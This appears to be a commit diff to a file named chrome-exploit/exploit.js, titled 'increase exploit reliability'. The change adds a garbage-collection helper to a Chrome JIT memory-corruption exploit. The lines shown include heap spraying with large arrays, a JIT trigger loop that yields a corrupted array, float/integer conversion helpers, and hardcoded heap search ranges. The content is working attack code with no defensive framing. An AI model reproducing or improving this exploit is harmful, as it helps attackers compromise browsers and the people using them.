increase exploit reliability

Author: r4j0x00

chrome-exploit/exploit.js

@@ -21,6 +21,12 @@ function itof(val) {
          return f64_buf[0];
 }
 
+function gc() {
+	for (let i = 0; i < 100; i++) {
+		new ArrayBuffer(0x100000);
+	}
+}
+
 array = Array(0x40000).fill(1.1);
 args = Array(0x100 - 1).fill(array);
 args.push(Array(0x40000 - 4).fill(2.2));
@@ -48,6 +54,8 @@ function trigger(array) {
 for (let i = 0; i < 30000; ++i) {
   trigger(giant_array);
 }
+gc();
+
 corrupted_array = trigger(giant_array)[1];
 
 var search_space = [[(0x8040000-8)/8, 0x805b000/8], [(0x805b000)/8, (0x83c1000/8)-1], [0x8400000/8, (0x8701000/8)-1], [0x8740000/8, (0x8ac1000/8)-1], [0x8b00000/8, (0x9101000/8)-1]];